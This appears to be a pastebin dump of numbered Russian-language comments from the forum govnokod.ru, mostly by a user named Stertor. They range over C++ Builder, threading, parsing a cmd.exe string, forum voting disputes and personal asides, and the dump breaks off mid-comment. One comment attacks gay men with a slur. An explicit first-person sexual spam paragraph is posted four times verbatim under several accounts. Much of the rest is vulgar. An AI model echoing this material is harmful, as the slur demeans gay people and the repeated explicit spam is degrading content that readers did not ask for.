  4349. ########## Stertor: comment http://govnokod.ru/15650#comment223940 ##########
  4350. Для разнообразия сгодится. Минусы меня не напрягают, просто чередование красного и зеленого цветов отвлекает, а заблокировать их я не могу, потому, что лишусь возможности отблагодарить или поддержать автора какого-нибудь топика.
  4351. Окей. Пусть у всех будут плюсы. Плюсоваться будут все комменты.
  4352.  
  4353. ########## Stertor: post http://govnokod.ru/22600 ##########
  4354. Фоменок вернул мне учётку. Я благодарен, но боюсь, что это последнее сообщение, которое я напишу на ГК.
  4355. Не хочу, чтобы учётка досталась спамерам, которые будут писать непотребщину, якобы, от моего имени.
  4356. Всех, кто пишет от Стертор-а, следует считать самозванцами. Я покидаю Вас, точнее, перехожу в режим read-only.
  4357.  
  4358. ---------- description ----------
  4359.  
  4360.  
  4361. ########## Stertor: comment http://govnokod.ru/14325#comment209728 ##########
  4362. распарсить, именно распарсить, корректно удалив все команды консолечки.
  4363.  
  4364. Если поможете мне, подкинув более-менее универсальное решение, уплачу Вам 500 р ) Сил моих уже нет, давно с этим бьюсь. Нужно получить имя файла. Из примерно такой строки cmd /c cd program files & start progname -param это будет "program files\progname[проверить расширение, есть ли исполняемые файлы *.exe, *.com]"
  4365.  
  4366. ########## Stertor: comment http://govnokod.ru/15650#comment223938 ##########
  4367. Сдается мне, тут долгие рассуждения излишни. Нужно просто тайно плюсовать себя - пусть пригорает у минусующих.
  4368. Конардо? Конардо великовозрастной придурок. Я-то кому помешал? Пусть отпишутся здесь, как мужчины. А минусовать подло, тем более, что минусуют все посты подряд, не глядя на их содержимое.
  4369.  
  4370. ########## Dr_Stertor: comment http://govnokod.ru/21914#comment363901 ##########
  4371. Охбля, когда же вы наконец поймёте, что BCB нельзя сравнивать с MSVC и предьявлять аналогичные требования. Это, блять, БИЛДЕР. Он даже форму распаковывает из ресурсов - о какой оптимизации может идти речь? Зато, в отличие от VC, можно наваять прогу быстро и без лишнего гемора - здесь CB полностью оправдывает себя.
  4372.  
  4373. ########## Stertor: comment http://govnokod.ru/13280#comment185810 ##########
  4374. Cpp, есть высказывание, которое приписывают Ф. Ницше; вот это высказывание:
  4375. "Мне всегда немного грустно, когда красноречиво, изящно и тонко оскорбляешь человека, а он слишком глуп, чтобы это понять ..." Сделайте выводы для себя, или по крайней мере перестаньте "кормить троллей" - поддаваться на провокации.
  4376.  
  4377. ########## Stertor: comment http://govnokod.ru/13593#comment191390 ##########
  4378. Вспомните принцип, отражением которого можно назвать эту фразу: то, что удобно снаружи - сложно изнутри. Разработчики сделали все, чтобы интерфейс был как можно более удобным, но какими средствами они этого достигли -другой вопрос. К тому же не мудрено, что кое-где через анус. Снаружи ведь не видно)
  4379. http://www.pictureshack.ru/images/89Trololo-tonko.jpg
  4380.  
  4381. ########## voodoodal16: comment http://govnokod.ru/21260#comment353680 ##########
  4382. >> Если размер файла меньше размера структуры то прочитать не удастся, будет исключение. А если больше - все поля прочитаются. Ну да, в полях может быть мусор
  4383.  
  4384. Если вылетело исключение - разве сие не знак того, что испорчена память? Вдруг код затёр служебные заголовки? Мусор в полях - тоже UB, как мне кажется.
  4385.  
  4386. ########## Stertor: comment http://govnokod.ru/13899#comment199863 ##########
  4387. Это растрата душевных сил. Не надо этим страдать.
  4388. Чехов очень хорошо сказал об этом, я не буду дословно цитировать, приведу лишь суть, насколько я понял: по молодости люди много страдают ерундой, тратят силы на пустяки а потом оказывается, что жизнь пролетела мимо, а сделать осталось очень многое.
  4389.  
  4390. ########## Stertor: comment http://govnokod.ru/13839#comment197428 ##########
  4391. Не нужен - не качай. Никто ведь не заставляет.
  4392. )
  4393. Слух о его вредоносности пустили владельцы торрентов, он им там что-то перегружал/забивал.
  4394. По мне - так вполне годная прога.
  4395.  
  4396. <Ну благодаря этому SYN-флуду и прочему исходящему потоку DDos'а роутеры и загибались.>
  4397. Бля, читая такой бред, можно ведь и импотентом стать.
  4398.  
  4399. ########## Stertor: comment http://govnokod.ru/13920#comment201229 ##########
  4400. А в этом Вашем Тарасе есть нечто еврейское - на фотке встал в сторонке, а этот голубоглазый красавчик попал в центр. У незнакомого человека создастся впечатление, что этот чувак и есть Тарас
  4401. )
  4402.  
  4403. Вот в этом и есть вся лажа (см. анкету), в выкладывание фоток в сеть. Подставил не только себя, но и этих парней.
  4404.  
  4405. ########## Stertor: comment http://govnokod.ru/13228#comment183570 ##########
  4406. Ололололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--ТрололололоОлолололо--Трололололо
  4407.  
  4408. ########## Stertor: comment http://govnokod.ru/17995#comment282661 ##########
  4409. Это сарказм. На моём веку тут никто не писал ботов, видите ли, (в них не было необходимости * нет времени) / лень. Лишь я писал ботов, чисто ради интереса. Я, и ещё один тролль - Конардо. В своих ботах я иной раз не предусматривал возможность смены прокси, поэтому, после смерти прокси, прога также загибалась.
  4410.  
  4411. ########## Stertor: comment http://govnokod.ru/13900#comment198596 ##########
  4412. Можно подумать, что с консолечкой дела обстоят иначе, printscreen разумеется не в счет.
  4413. Кстати, поздравляю: у тебя еще есть брат по разуму - тот, кто плюсанул.
  4414.  
  4415. >> искать куда приткнуть SaveToFile
  4416. Самым разумным на мой взгляд будет оверридить родное контекстное меню контрола на свое, и создать в нем пункт "Сохранить в файл"
  4417.  
  4418.  
  4419.  
  4420. ########## Dr_Stertor: comment http://govnokod.ru/22629#comment378820 ##########
  4421. я хотела буквально всё - хотела попробовать член, отдаться в киску и всё такое. Я очень часто плакала когда была дома, по этому поводу, потому что желания и секс - фантазии буквально разрывали мой мозг, и только когда я мастурбировала, организм успокаивался и затихало на время дичайшее желание.
  4422.  
  4423. ########## Dr_Stertor: comment http://govnokod.ru/22622#comment378353 ##########
  4424. я хотела буквально всё - хотела попробовать член, отдаться в киску и всё такое. Я очень часто плакала когда была дома, по этому поводу, потому что желания и секс - фантазии буквально разрывали мой мозг, и только когда я мастурбировала, организм успокаивался и затихало на время дичайшее желание.
  4425.  
  4426. ########## voodoodal16: comment http://govnokod.ru/22657#comment379436 ##########
  4427. я хотела буквально всё - хотела попробовать член, отдаться в киску и всё такое. Я очень часто плакала когда была дома, по этому поводу, потому что желания и секс - фантазии буквально разрывали мой мозг, и только когда я мастурбировала, организм успокаивался и затихало на время дичайшее желание.
  4428.  
  4429. ########## Dr_Stertor: comment http://govnokod.ru/22619#comment378602 ##########
  4430. я хотела буквально всё - хотела попробовать член, отдаться в киску и всё такое. Я очень часто плакала когда была дома, по этому поводу, потому что желания и секс - фантазии буквально разрывали мой мозг, и только когда я мастурбировала, организм успокаивался и затихало на время дичайшее желание.
  4431.  
  4432. ########## Stertor: comment http://govnokod.ru/14305#comment208245 ##########
  4433. 1. нежелание брать на себя обязательства, "боязнь обстоятельств"
  4434. обусловленная вескими причинами (например, невозможность содержать семью
  4435. ввиду отсутствия работы, условий проживания и тп.)
  4436. 2. Латентный гомосексуализм.
  4437. 3. Склонность к одиночеству
  4438. 4. Эгоизм
  4439.  
  4440. из перечисленного хуже всего 4 пункт.
  4441.  
  4442. ########## Stertor: comment http://govnokod.ru/15804#comment294547 ##########
  4443. Кто-то до сих пор наивно считает, что ебать парня в активной роли - не есть пидарство. Меж тем, трактовка термина следующая: "гомосексуализм - половое влечение к лицам своего пола". Если у тебя встал член на парня, если ты его трахнул (а он позволил это сделать с собой), ты такая же голубая мразь, как и он.
  4444.  
  4445. ########## Stertor: comment http://govnokod.ru/14325#comment209719 ##########
  4446. Борманд, нет ли какого нибудь способа распарсить нестандартную
  4447. командную строку? Строка подается на вход консолечке - cmd.exe и может
  4448. содержать разбодяженные команды, например: cmd /c cd program files & start progname -paramПростая замена
  4449. команд с помощью stringreplace не верное решение, т.к. на диске могут
  4450. быть файлы с такими же именами, например, start.exe. Как быть?
  4451.  
  4452. ########## voodoodal16: comment http://govnokod.ru/21438#comment355907 ##########
  4453. Клавиатуру - нет, но фотоаппарат, флешку, жесткий диск - может.
  4454. Я пока повременю с релизом, хочу допилить интерфейс. Он нарисован без использования скинов. Антивирус - системная утилита, он должен только выполнять свою прямую задачу - нейтрализовывать угрозы, и не должен мозолить юзеру глаза.
  4455.  
  4456. ########## Stertor: comment http://govnokod.ru/14305#comment208222 ##########
  4457. Я считаю, что смысл жизни - в самообразовании, накоплении жизненного опыта и в просвещении других людей. Тут нужно вспомнить, как мыслят японцы: опыт важнее всех материальные ценностей вместе взятых, ибо их можно лишиться в один миг - а знания и опыт, накопленные тобой будут с тобой всю жизнь.
  4458.  
  4459. ########## Stertor: comment http://govnokod.ru/13838#comment197307 ##########
  4460. Обидно(
  4461.  
  4462. сну-сну-сну...
  4463.  
  4464. Я даже парсер и чекер свой наконпелял - так что, прокси свои, не купленные, выращенные у себя на ассенизационном поле огороде
  4465. Йоу!
  4466.  
  4467. Кстати, почти неделю не было годных прокси - очевидно, у всех спамеров мира был горячий сезон, прокси разбирали прежде, чем я успевал их прочекать.
  4468.  
  4469. ########## Stertor: comment http://govnokod.ru/13714#comment194527 ##########
  4470. >> Так было всегда. И будет всегда.
  4471. Ага, сначала довести фирму до банкротства(так, что им даже пришлось продать статую перед входом в офис) заграбастав почти 40% акций с помощью фиктивных фирм потом переманив их ведущего разработчика. VS и прочий отстой тихо посасывает рядом с продуктами Борланд.
  4472.  
  4473. ########## Stertor: comment http://govnokod.ru/14137#comment202595 ##########
  4474. ~Притча про Буратино~ Буратино прибегает к папе Карло и жалуется: -Папа Карло, папа Карло, мне Мальвина не дает, говорит, у меня эта штучка шершавая. -Погоди, сейчас исправим, оботрем шкуркой... А знаешь что, папа Карло, ну ее на хуй, эту Мальвину, потри лучше опять эту штучку шкуркой!..
  4475. с уважением, Ваш кэп.
  4476.  
  4477. ########## Stertor: comment http://govnokod.ru/14442#comment215120 ##########
  4478. Где-то выше был уже ответ на этот вопрос: Synchronize отсылает главному потоку сообщение о том, чтобы он вызвал метод, указанный в качестве параметра в Synchronize(), с блокировкой данного потока, до завершения работы метода.
  4479. >>Или может в потоке диалога?
  4480. Если под диалогом подразумевается главная форма, то пожалуй, да.
  4481.  
  4482. ########## Stertor: comment http://govnokod.ru/14381#comment212351 ##########
  4483. ты споришь ради спора( Иногда полезно переступить через свое упрямство, по крайней мере, чтобы не выглядеть глупо.
  4484. p/s/ Пару дней разбирал пожилой телевизор, извлек пару твк и сразу сунул их в сеть. Под рукой как раз оказался оксидный конденсатор от китайского приемника, мкф на 300 - зарядился, сука.
  4485.  
  4486. ########## Stertor: comment http://govnokod.ru/14142#comment202678 ##########
  4487. прошел 4 раза мимо, на пятный вник в суть. Даа, прогресс налицо.
  4488. В мое время логические элементы составляли сами - на транзисторах. Спаиваешь их по схеме, и готов либо усилитель НЧ либо радиоприемник. Сейчас же берут готовую микросхему, вбивают в нее код - и вуаля. Транзисторы нах никому не нужны.
  4489.  
  4490. ########## Stertor: comment http://govnokod.ru/14370#comment211634 ##########
  4491. Молодец) Я-то, слава богу, егэ не застал тогда(а если бы и застал, то точно бы провалил математику)сдавал обычные экзамены. Затом потом уже в шаражечке началась балльно-рейтинговая хуйня - ни что иное, как пособничество взяточникам, - и прочие мозгоебства. Студентов стригли, как паршивых овец.
  4492.  
  4493. ########## Stertor: comment http://govnokod.ru/17995#comment282699 ##########
  4494. Слабая надежда на благоразумие ментяр :P
  4495. А как тогда - сразу в наручники, и в голубом лимузине, до СИЗО? Кстати, всегда мечтал попасть. Там порой таакие нестандартные личности, ваау... Может, обрёл бы друга по интересам. А уж станет он моим возлюбленным или нет, покажет время.
  4496.  
  4497. >>С паяльником в жопе ты
Advertisement
Add Comment
Please, Sign In to add comment